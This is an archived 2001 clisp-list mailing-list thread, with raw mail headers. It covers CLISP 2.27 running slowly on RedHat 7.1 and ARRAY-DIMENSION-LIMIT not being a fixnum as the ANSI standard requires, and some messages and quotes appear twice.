I have not made one, but I have read the instructions a few times.. I'm am running, "compiled code" in Windows 2k, RH 7 and RH7.1. One a different note, I have seen great improvement using "Compile-file" "> My general problem is that CLISP is running very slow. My CLISP > program is timed based - It runs an algorithm for certain periods of > time then exits. The program measures runtime not clock time. It > takes about 3X times longer to run the program. compared to what?" Looking at the "total execution time" in Win2K - Task Manager CPU TIME, and RH 7.0 - "top", compared to the expected/reasonable amount of completion. For example, a test case is scheduled for about 4 hours of "cpu/runtime.", and the machine will take a little over 4 hours of "total execution time" - the total elapsed time might be 5-6 hours depending on how "busy" the system. On RH7.1 the "total execution time" is not in align with expected/reasonable amount of completion. It's looks like the CLISP is constantly being preempted by something, except the "top" command don't show anything else being executed--except for the "normal" system stuff. I will look at "CLOCC/src/tools/monitor/metering.lisp". Any Ideals? Randy -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org] Sent: Thursday, August 30, 2001 8:34 AM To: Justice, Randy -CONT(DYN) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] RedHat 7.1 and CLISP 2.27 > * In message > * On the subject of "[clisp-list] RedHat 7.1 and CLISP 2.27" > * Sent on Thu, 30 Aug 2001 07:29:02 -0500 > * Honorable "Justice, Randy -CONT\(DYN\)" writes: > > I installed RedHat 7.1, full installation, and CLISP 2.27. Both > installations seem to went well without any problems. can you make an RPM? > My general problem is that CLISP is running very slow. My CLISP > program is timed based - It runs an algorithm for certain periods of > time then exits. The program measures runtime not clock time. It > takes about 3X times longer to run the program. compared to what? > I changed the "priority" of the lisp executable from "0" to "-10". this is not likely to help. > Can anyone help? Could it be a bug in CLISP 2.27? Could it be a bug > in RedHat? Could it be a RedHat Admin problem? What demons don't I > need? I'm clueless on a solution. Should I down grade to RedHat 7.0? > Should I down grade CLISP? FYI the RedHat system is non GUI. > I know my CLISP program works well in Windows 2000, and RedHat 7.0. 1. please make sure that you are running compiled code on both win2k, rh7 and rh7.1 2. if you still observe the performance hit, get CLOCC/src/tools/monitor/metering.lisp and find out which part of the program is hit. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Software is like sex: it's better when it's free. ------_=_NextPart_001_01C13161.88695E00 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [clisp-list] RedHat 7.1 and CLISP 2.27

I will try to make an RPM..  I have not made = one, but I have read the instructions a few times..

I'm am running, "compiled code" in Windows = 2k, RH 7 and RH7.1.   One a different note,
I have seen great improvement using = "Compile-file"

"> My general problem is that CLISP is = running very slow. My CLISP
> program is timed based - It runs an algorithm = for certain periods of
> time then exits. The program measures runtime = not clock time.  It
> takes about 3X times longer to run the = program.

compared to what?"

Looking at the "total execution time" in = Win2K - Task Manager CPU TIME, and RH 7.0 - "top",  = compared to the expected/reasonable amount of completion.  For = example, a test case is scheduled for about 4 hours

of "cpu/runtime.",  and the machine = will take a little over 4 hours of "total execution time" - = the total elapsed time might be 5-6 hours depending on how = "busy" the system. On RH7.1 the "total execution = time" is not in align with expected/reasonable amount of = completion.  It's looks like

the CLISP is constantly being preempted by something, = except the "top" command don't show anything
else being executed--except for the = "normal" system stuff.

I will look at = "CLOCC/src/tools/monitor/metering.lisp".

Any Ideals?

Randy
 


-----Original Message-----
From: Sam Steingold [mailto:sds@gnu.org]
Sent: Thursday, August 30, 2001 8:34 AM
To: Justice, Randy -CONT(DYN)
Cc: clisp-list@lists.sourceforge.net
Subject: Re: [clisp-list] RedHat 7.1 and CLISP = 2.27


> * In message = <B4CA1F5D8D23D411ADC7009027E791BF013ED626@pens0394.cnet.navy.Mil><= /FONT>
> * On the subject of "[clisp-list] RedHat = 7.1 and CLISP 2.27"
> * Sent on Thu, 30 Aug 2001 07:29:02 = -0500
> * Honorable "Justice, Randy = -CONT\(DYN\)" <Randy.Justice@cnet.navy.mil> writes:
>
> I installed RedHat 7.1, full installation, and = CLISP 2.27.  Both
> installations seem to went well without any = problems.

can you make an RPM?

> My general problem is that CLISP is running very = slow. My CLISP
> program is timed based - It runs an algorithm = for certain periods of
> time then exits. The program measures runtime = not clock time.  It
> takes about 3X times longer to run the = program.

compared to what?

> I changed the "priority" of the lisp = executable from "0" to "-10".
this is not likely to help.

> Can anyone help?  Could it be a bug in = CLISP 2.27?  Could it be a bug
> in RedHat?  Could it be a RedHat Admin = problem?  What demons don't I
> need?  I'm clueless on a solution.  = Should I down grade to RedHat 7.0?
> Should I down grade CLISP?  FYI the RedHat = system is non GUI.

> I know my CLISP program works well in Windows = 2000, and RedHat 7.0.    

1. please make sure that you are running compiled = code on both win2k,
   rh7 and rh7.1

2. if you still observe the performance hit, = get
      = CLOCC/src/tools/monitor/metering.lisp
   and find out which part of the program = is hit.



--
Sam Steingold (http://www.podval.org/~sds)
Support Israel's right to defend herself! <http://www.i-charity.com/go/israel>
Read what the Arab leaders say to their people on = <http://www.memri.org/>
Software is like sex: it's better when it's = free.

------_=_NextPart_001_01C13161.88695E00-- From wbuss@gmx.net Thu Aug 30 10:26:34 2001 Received: from mail.gmx.net ([213.165.64.20]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15cVaL-00020F-00 for ; Thu, 30 Aug 2001 10:26:33 -0700 Received: (qmail 11147 invoked by uid 0); 30 Aug 2001 17:26:25 -0000 Received: from pd95070e3.dip.t-dialin.net (HELO minka.katzen.ol) (217.80.112.227) by mail.gmx.net (mp011-rz3) with SMTP; 30 Aug 2001 17:26:25 -0000 Received: by minka.katzen.ol (Postfix, from userid 500) id 2BF691AB0AE; Thu, 30 Aug 2001 19:26:33 +0200 (MEST) To: clisp-list@lists.sourceforge.net From: wbuss@gmx.net (Wolfhard =?iso-8859-1?q?Bu=DF?=) Date: 30 Aug 2001 19:26:33 +0200 Message-ID: Lines: 20 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] array-dimension-limit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: In CLISP 2.27 (released 2001-07-17) for x86-Linux most-positive-fixnum evaluates to 16777215 and array-dimension-limit to 16777216 with a consequence (typep array-dimension-limit 'fixnum) => NIL that collides with CLHS, which describes array-dimension-limit as 'a positive _fixnum_, the exact magnitude of which is implementation-dependent, but which is not less than 1024'. Is a fix known? Regards, Wolfhard. From sds@gnu.org Thu Aug 30 11:15:09 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15cWLN-00027B-00 for ; Thu, 30 Aug 2001 11:15:09 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA07884; Thu, 30 Aug 2001 14:15:05 -0400 (EDT) X-Envelope-To: To: wbuss@gmx.net (Wolfhard =?iso-8859-1?q?Bu=DF?=) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-dimension-limit References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 Date: 30 Aug 2001 14:14:01 -0400 Message-ID: Lines: 39 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] array-dimension-limit" > * Sent on 30 Aug 2001 19:26:33 +0200 > * Honorable wbuss@gmx.net (Wolfhard Bu=DF) writes: > > In CLISP 2.27 (released 2001-07-17) for x86-Linux >=20 > most-positive-fixnum evaluates to 16777215 and > array-dimension-limit to 16777216 >=20 > with a consequence >=20 > (typep array-dimension-limit 'fixnum) > =3D> NIL=20 >=20 > that collides with CLHS, which describes array-dimension-limit as > 'a positive _fixnum_, the exact magnitude of which is > implementation-dependent, but which is not less than 1024'. yes, we are aware of this. there are some other constants which exhibit the same problem, like ARRAY-TOTAL-SIZE-LIMIT. this is a case of "what's your problem, is the bride too beautiful?" CLISP does slightly more than is required - it supports arrays to the full extent of the FIXNUM range, not just to some part of it. we could, of course, decrease the value of the ARRAY-DIMENSION-LIMIT and friends, but it would not buy you anything: you will just loose ability to create arrays [0..MOST-POSITIVE-FIXNUM]. > Is a fix known? what is your problem? --=20 Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Someone has changed your life. Save? (y/n) From toy@rtp.ericsson.se Thu Aug 30 11:46:30 2001 Received: from imr1.ericy.com ([208.237.135.240]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15cWpc-0000vx-00 for ; Thu, 30 Aug 2001 11:46:24 -0700 Received: from mr6.exu.ericsson.se (mr6u3.ericy.com [208.237.135.123]) by imr1.ericy.com (8.11.3/8.11.3) with ESMTP id f7UIkKp17772 for ; Thu, 30 Aug 2001 13:46:20 -0500 (CDT) Received: from eamrcnt747.exu.ericsson.se (eamrcnt747.exu.ericsson.se [138.85.133.37]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with SMTP id f7UIkKZ29758 for ; Thu, 30 Aug 2001 13:46:20 -0500 (CDT) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt747.exu.ericsson.se ; Thu Aug 30 13:46:19 2001 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id OAA20713 for ; Thu, 30 Aug 2001 14:47:19 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.9.3+Sun/8.9.1) id OAA13284; Thu, 30 Aug 2001 14:46:17 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-dimension-limit References: From: Raymond Toy Date: 30 Aug 2001 14:46:14 -0400 In-Reply-To: Message-ID: <4nzo8hbd3d.fsf@rtp.ericsson.se> Lines: 24 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (artichoke) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "Sam" == Sam Steingold writes: Sam> this is a case of "what's your problem, is the bride too beautiful?" Sam> CLISP does slightly more than is required - it supports arrays to the Sam> full extent of the FIXNUM range, not just to some part of it. Sam> we could, of course, decrease the value of the ARRAY-DIMENSION-LIMIT and Sam> friends, but it would not buy you anything: you will just loose ability Sam> to create arrays [0..MOST-POSITIVE-FIXNUM]. With Clisp "2.27 (released 2001-07-17)..." on an Ultrasparc I get: > (make-array (1+ most-positive-fixnum)) ==> *** - MAKE-ARRAY: dimension 16777216 is not of type `(INTEGER 0 (,ARRAY-DIMENSION-LIMIT)) So how do I make an array with indices [0..most-positive-fixnum]? Sam> what is your problem? I would say that in ansi mode, array-dimension-limit should be a fixnum as the CLHS says. Unless ansi mode really means "kind of ansi but not always". Ray From sds@gnu.org Thu Aug 30 14:38:28 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15cZW8-00066m-00 for ; Thu, 30 Aug 2001 14:38:28 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id RAA16826; Thu, 30 Aug 2001 17:38:20 -0400 (EDT) X-Envelope-To: To: Raymond Toy Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-dimension-limit References: <4nzo8hbd3d.fsf@rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4nzo8hbd3d.fsf@rtp.ericsson.se> Date: 30 Aug 2001 17:37:14 -0400 Message-ID: Lines: 68 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <4nzo8hbd3d.fsf@rtp.ericsson.se> > * On the subject of "Re: [clisp-list] array-dimension-limit" > * Sent on 30 Aug 2001 14:46:14 -0400 > * Honorable Raymond Toy writes: > > >>>>> "Sam" == Sam Steingold writes: > > Sam> this is a case of "what's your problem, is the bride too beautiful?" > Sam> CLISP does slightly more than is required - it supports arrays to the > Sam> full extent of the FIXNUM range, not just to some part of it. > Sam> we could, of course, decrease the value of the ARRAY-DIMENSION-LIMIT and > Sam> friends, but it would not buy you anything: you will just loose ability > Sam> to create arrays [0..MOST-POSITIVE-FIXNUM]. > > With Clisp "2.27 (released 2001-07-17)..." on an Ultrasparc I get: > > > (make-array (1+ most-positive-fixnum)) > ==> > *** - MAKE-ARRAY: dimension 16777216 is not of type `(INTEGER 0 (,ARRAY-DIMENSION-LIMIT)) > > So how do I make an array with indices [0..most-positive-fixnum]? I meant [0..most-positive-fixnum-1] array-total-size-limit is "> >>>>> "Sam" == Sam Steingold writes: > > Sam> this is a case of "what's your problem, is the bride too beautiful?" > Sam> CLISP does slightly more than is required - it supports arrays to the > Sam> full extent of the FIXNUM range, not just to some part of it. > Sam> we could, of course, decrease the value of the ARRAY-DIMENSION-LIMIT and > Sam> friends, but it would not buy you anything: you will just loose ability > Sam> to create arrays [0..MOST-POSITIVE-FIXNUM]. > > With Clisp "2.27 (released 2001-07-17)..." on an Ultrasparc I get: > > > (make-array (1+ most-positive-fixnum)) > ==> > *** - MAKE-ARRAY: dimension 16777216 is not of type `(INTEGER 0 (,ARRAY-DIMENSION-LIMIT)) > > So how do I make an array with indices [0..most-positive-fixnum]? I meant [0..most-positive-fixnum-1] for total size of MOST-POSITIVE-FIXNUM: > (length (make-array most-positive-fixnum)) 16777215 > ARRAY-TOTAL-SIZE-LIMIT is "The upper exclusive bound on the array total size of an array." thus if ARRAY-TOTAL-SIZE-LIMIT == MOST-POSITIVE-FIXNUM, we cannot do (make-array most-positive-fixnum) thus the choice is (1) disable (make-array most-positive-fixnum) (2) break the standard by either - ARRAY-TOTAL-SIZE-LIMIT is not fixnum - ARRAY-TOTAL-SIZE-LIMIT is the inclusive, not exclusive bound. I don't like any of the solutions. Since the whole idea of ARRAY-TOTAL-SIZE-LIMIT being a fixnum is to allow efficient arithmetics on array indexes and CLISP ignores type declarations anyway, the current non-compliance should not matter. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on A man paints with his brains and not with his hands. From toy@rtp.ericsson.se Thu Aug 30 14:48:55 2001 Received: from imr2.ericy.com ([12.34.240.68]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15cZgD-0002Z1-00 for ; Thu, 30 Aug 2001 14:48:53 -0700 Received: from mr6.exu.ericsson.se (mr6att.ericy.com [138.85.92.14]) by imr2.ericy.com (8.11.3/8.11.3) with ESMTP id f7ULme505671 for ; Thu, 30 Aug 2001 16:48:40 -0500 (CDT) Received: from eamrcnt747.exu.ericsson.se (eamrcnt747.exu.ericsson.se [138.85.133.37]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with SMTP id f7ULmeZ13244 for ; Thu, 30 Aug 2001 16:48:40 -0500 (CDT) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt747.exu.ericsson.se ; Thu Aug 30 16:48:39 2001 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id RAA26221 for ; Thu, 30 Aug 2001 17:49:38 -0400 (EDT) Received: (from toy@localhost) by edgedsp4.rtp.ericsson.se (8.9.3+Sun/8.9.1) id RAA13384; Thu, 30 Aug 2001 17:48:38 -0400 (EDT) X-Authentication-Warning: edgedsp4.rtp.ericsson.se: toy set sender to toy@rtp.ericsson.se using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-dimension-limit References: <4nzo8hbd3d.fsf@rtp.ericsson.se> From: Raymond Toy Date: 30 Aug 2001 17:48:38 -0400 In-Reply-To: Message-ID: <4nzo8h9q2x.fsf@rtp.ericsson.se> Lines: 32 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.5 (artichoke) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "Sam" == Sam Steingold writes: [weird stuttering deleted] Sam> ARRAY-TOTAL-SIZE-LIMIT is Sam> "The upper exclusive bound on the array total size of an array." Sam> thus if ARRAY-TOTAL-SIZE-LIMIT == MOST-POSITIVE-FIXNUM, we cannot do Sam> (make-array most-positive-fixnum) Sam> thus the choice is Sam> (1) disable (make-array most-positive-fixnum) Sam> (2) break the standard by either Sam> - ARRAY-TOTAL-SIZE-LIMIT is not fixnum Sam> - ARRAY-TOTAL-SIZE-LIMIT is the inclusive, not exclusive bound. CMUCL does (1). But then it can't allocate 2 GB of data (for 32-bit elements) anyway. (Well, you can on x86 FreeBSD where that's the max heap size, so you couldn't do much after you've allocated the data.) Sam> I don't like any of the solutions. Sam> Since the whole idea of ARRAY-TOTAL-SIZE-LIMIT being a fixnum is to Sam> allow efficient arithmetics on array indexes and CLISP ignores type Sam> declarations anyway, the current non-compliance should not matter. Fair enough. I've never had a reason to use an array of that size and even if I did, I probably couldn't wait long enough for the program to finish.... :-) So lopping off one single element won't bother me at all. On a side note, how does Clisp represent fixnums? Are they boxed up? Ray From sds@gnu.org Thu Aug 30 15:23:39 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15caDr-0000Vi-00 for ; Thu, 30 Aug 2001 15:23:39 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id SAA23607; Thu, 30 Aug 2001 18:23:33 -0400 (EDT) X-Envelope-To: To: Raymond Toy Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-dimension-limit References: <4nzo8hbd3d.fsf@rtp.ericsson.se> <4nzo8h9q2x.fsf@rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <4nzo8h9q2x.fsf@rtp.ericsson.se> Date: 30 Aug 2001 18:22:24 -0400 Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <4nzo8h9q2x.fsf@rtp.ericsson.se> > * On the subject of "Re: [clisp-list] array-dimension-limit" > * Sent on 30 Aug 2001 17:48:38 -0400 > * Honorable Raymond Toy writes: > > I've never had a reason to use an array of that size and even if I > did, I probably couldn't wait long enough for the program to > finish.... :-) So lopping off one single element won't bother me at > all. [3]> (time (= most-positive-fixnum (length (make-array most-positive-fixnum)))) Real time: 0.671 sec. Run time: 0.650936 sec. Space: 67108868 Bytes GC: 1, GC time: 0.0100144 sec. t [4]> fast enough for me. > On a side note, how does Clisp represent fixnums? Are they boxed up? no, fixnums (and some other things, like chars) are immediate. (CLISP has 24 bit fixnums.) -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on When we break the law, they fine us, when we comply, they tax us. From wbuss@gmx.net Fri Aug 31 07:12:12 2001 Received: from panoramix.valinux.com ([198.186.202.147] helo=mail2.valinux.com) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 15cp1o-0007Q7-00 for ; Fri, 31 Aug 2001 07:12:12 -0700 Received: from mail.gmx.net ([213.165.64.20]) by mail2.valinux.com with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15cnn4-0002EW-00 for ; Fri, 31 Aug 2001 05:52:54 -0700 Received: (qmail 17458 invoked by uid 0); 31 Aug 2001 11:06:09 -0000 Received: from p3ee24df5.dip.t-dialin.net (HELO minka.katzen.ol) (62.226.77.245) by mail.gmx.net (mp002-rz3) with SMTP; 31 Aug 2001 11:06:09 -0000 Received: by minka.katzen.ol (Postfix, from userid 500) id 99A501AB0AE; Fri, 31 Aug 2001 13:06:13 +0200 (MEST) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-dimension-limit References: <4nzo8hbd3d.fsf@rtp.ericsson.se> From: wbuss@gmx.net (Wolfhard =?iso-8859-1?q?Bu=DF?=) Date: 31 Aug 2001 13:06:13 +0200 In-Reply-To: Sam Steingold's message of "30 Aug 2001 17:37:14 -0400" Message-ID: Lines: 32 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold writes: > ARRAY-TOTAL-SIZE-LIMIT is > "The upper exclusive bound on the array total size of an array." > thus if ARRAY-TOTAL-SIZE-LIMIT == MOST-POSITIVE-FIXNUM, we cannot do > (make-array most-positive-fixnum) > > thus the choice is > (1) disable (make-array most-positive-fixnum) > (2) break the standard by either > - ARRAY-TOTAL-SIZE-LIMIT is not fixnum > - ARRAY-TOTAL-SIZE-LIMIT is the inclusive, not exclusive bound. > > I don't like any of the solutions. > Since the whole idea of ARRAY-TOTAL-SIZE-LIMIT being a fixnum is to > allow efficient arithmetics on array indexes and CLISP ignores type > declarations anyway, the current non-compliance should not matter. There is at least one piece of software, i.e. ACL2, that depends on (typep array-total-size-limit 'fixnum) => T So I would like to 'disable (make-array most-positive-fixnum)', to make clisp's ansi mode a bit more ansi compliant. I am interested in patches for clisp 2.27 to achieve this. Regards, Wolfhard From sds@gnu.org Fri Aug 31 08:25:48 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15cqB2-0007iS-00 for ; Fri, 31 Aug 2001 08:25:48 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA22542; Fri, 31 Aug 2001 11:25:31 -0400 (EDT) X-Envelope-To: To: wbuss@gmx.net (Wolfhard =?iso-8859-1?q?Bu=DF?=) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-dimension-limit References: <4nzo8hbd3d.fsf@rtp.ericsson.se> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Date: 31 Aug 2001 11:23:41 -0400 Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "Re: [clisp-list] array-dimension-limit" > * Sent on 31 Aug 2001 13:06:13 +0200 > * Honorable wbuss@gmx.net (Wolfhard Bu=DF) writes: > > There is at least one piece of software, i.e. ACL2, that depends on >=20 > (typep array-total-size-limit 'fixnum) > =3D> T what is ACL2? how does it depend on this? could you please provide sources and the error message from CLISP? --=20 Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on All generalizations are wrong. Including this. From wbuss@gmx.net Fri Aug 31 09:16:41 2001 Received: from panoramix.valinux.com ([198.186.202.147] helo=mail2.valinux.com) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 15cowy-0008JB-00 for ; Fri, 31 Aug 2001 07:07:12 -0700 Received: from mail.gmx.net ([213.165.64.20]) by mail2.valinux.com with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15coYA-0001ZY-00 for ; Fri, 31 Aug 2001 06:41:34 -0700 Received: (qmail 22471 invoked by uid 0); 31 Aug 2001 13:34:48 -0000 Received: from p3ee24df5.dip.t-dialin.net (HELO minka.katzen.ol) (62.226.77.245) by mail.gmx.net (mp011-rz3) with SMTP; 31 Aug 2001 13:34:48 -0000 Received: by minka.katzen.ol (Postfix, from userid 500) id 111FE1AB0AE; Fri, 31 Aug 2001 15:34:51 +0200 (MEST) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] array-dimension-limit References: <4nzo8hbd3d.fsf@rtp.ericsson.se> From: wbuss@gmx.net (Wolfhard =?iso-8859-1?q?Bu=DF?=) Date: 31 Aug 2001 15:34:50 +0200 In-Reply-To: Sam Steingold's message of "30 Aug 2001 17:37:14 -0400" Message-ID: Lines: 32 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold writes: > ARRAY-TOTAL-SIZE-LIMIT is > "The upper exclusive bound on the array total size of an array." > thus if ARRAY-TOTAL-SIZE-LIMIT == MOST-POSITIVE-FIXNUM, we cannot do > (make-array most-positive-fixnum) > > thus the choice is > (1) disable (make-array most-positive-fixnum) > (2) break the standard by either > - ARRAY-TOTAL-SIZE-LIMIT is not fixnum > - ARRAY-TOTAL-SIZE-LIMIT is the inclusive, not exclusive bound. > > I don't like any of the solutions. > Since the whole idea of ARRAY-TOTAL-SIZE-LIMIT being a fixnum is to > allow efficient arithmetics on array indexes and CLISP ignores type > declarations anyway, the current non-compliance should not matter. There is at least one piece of software, i.e. ACL2, that depends on (typep array-total-size-limit 'fixnum) => T So I would like to 'disable (make-array most-positive-fixnum)', to make clisp's ansi mode a bit more ansi compliant. I am interested in patches for clisp 2.27 to achieve this. Regards, Wolfhard From toy@rtp.ericsson.se Fri Aug 31 10:04:40 2001 Received: from panoramix.valinux.com ([198.186.202.147] helo=mail2.valinux.com) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 15crif-0000gZ-00 for ; Fri, 31 Aug 2001 10:04:37 -0700 Received: from imr2.ericy.com ([12.34.240.68]) by mail2.valinux.com with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15cpx4-0006oz-00 for ; Fri, 31 Aug 2001 08:11:22 -0700 Received: from mr6.exu.ericsson.se (mr6att.ericy.com [138.85.92.14]) by imr2.ericy.com (8.11.3/8.11.3) with ESMTP id f7VFB6519193 for ; Fri, 31 Aug 2001 10:11:06 -0500 (CDT) Received: from eamrcnt747.exu.ericsson.se (eamrcnt747.exu.ericsson.se [138.85.133.37]) by mr6.exu.ericsson.se (8.11.3/8.11.3) with SMTP id f7VFB6R26835 for ; Fri, 31 Aug 2001 10:11:06 -0500 (CDT) Received: FROM netmanager7.rtp.ericsson.se BY eamrcnt747.exu.ericsson.se ; Fri Aug 31 10:11:05 2001 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.122.19]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id LAA09443; Fri, 31 Aug 2001 11:12:04 -0400 (EDT) Received: (from toy@localhost) by 